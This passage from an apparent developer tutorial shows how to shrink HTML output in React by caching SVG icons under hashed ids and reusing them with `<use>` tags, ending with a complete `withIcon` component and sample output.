const App = () => <IconCache.Provider value={{}}>{/* ... */}</IconCache.Provider>
```

Inside of `Icon`, read the cache from context and check if this icon has a cached id. If not, generate the new id and add it to the cache:

```jsx
const cache = useIconCache()

let cachedId = cache[icon]

if (!cachedId) {
  cachedId = `icon-` + hash(icon).toString(16)
  cache[icon] = cachedId
}
```

Generate a stable id by hashing the icon using the [fnv1a](https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function)
<a href="#footnote"><sup>1</sup></a> algorithm (commonly used in CSS-in-JS libraries) and then converting it to hexadecimal for a smaller string:

```jsx
import hash from 'fnv1a'
```

If we have a cached id, we can render the `<use>` tag instead of inserting the entire icon again. If this icon has not rendered before, wrap it in a group tag
and attach the unique id.

```jsx highlight=11-13
return (
  <svg
    viewBox="0 0 24 24"
    width={size}
    height={size}
    stroke="currentColor"
    style={{
      color,
    }}
    dangerouslySetInnerHTML={{
      __html: cachedId ? `<use href="#${cachedId}" />` : `<g id="${id}">${icon}</g>`,
    }}
  />
)
```

## Conclusion

Here's our new `withIcon` HOC with caching:

```jsx highlight=2,4-5,10,12,13,15-18,30-32
import { memo } from 'react'
import hash from 'fnv1a'

export const IconCache = React.createContext({})
export const useIconCache = () => React.useContext(IconCache)

const withIcon = (icon) => {
  const Icon = (props) => {
    const { size = 24, color = 'currentColor' } = props
    const cache = useIconCache()

    const cachedId = cache[icon]
    let id

    if (!cachedId) {
      id = 'icon-' + hash(icon).toString(16)
      cache[icon] = id
    }

    return (
      <svg
        viewBox="0 0 24 24"
        width={size}
        height={size}
        stroke="currentColor"
        style={{
          color,
        }}
        dangerouslySetInnerHTML={{
          __html: cachedId ? `<use href="#${cachedId}" />` : `<g id="${id}">${icon}</g>`,
        }}
      />
    )
  }

  return memo(Icon)
}

export default withIcon
```

Rendering the same icon multiple times will reuse existing DOM elements, decreasing the size of your HTML:

```jsx raw
/* React */

<IconCache.Provider value={{}}>
  <ArrowLeft />
  <ArrowLeft />
  <ArrowLeft />
</IconCache.Provider>

/* HTML Output:
  <svg>
    <g id="icon-dacb5a47"><path d="M21 12H3m0 0l6.146-6M3 12l6.146 6" /></g>
  </svg>

  <svg>
    <use href="#icon-dacb5a47" />
  </svg>

  <svg>
    <use href="#icon-dacb5a47" />
  </svg>
*/
```

In this example, the cached version is about 40% fewer characters!

You can still customize each icon, because the props apply to the outer svg element and don't involve the inner elements at all:

```jsx
<ArrowLeft />
<ArrowLeft size={30} color="blue" />
<ArrowLeft size={50} color="red" />
```

---

Here's a [live demo](https://svgcache.vercel.app) and the [demo source code](https://github.com/katsuki-yuri/svgcache).

<div id="footnote"></div>

1. You don't have to use fnv1a, any stable id generation technique will work. Just make sure it's consistent between server and client to avoid hydration
   mismatch.

Smaller DOM size by reusing existing SVG icons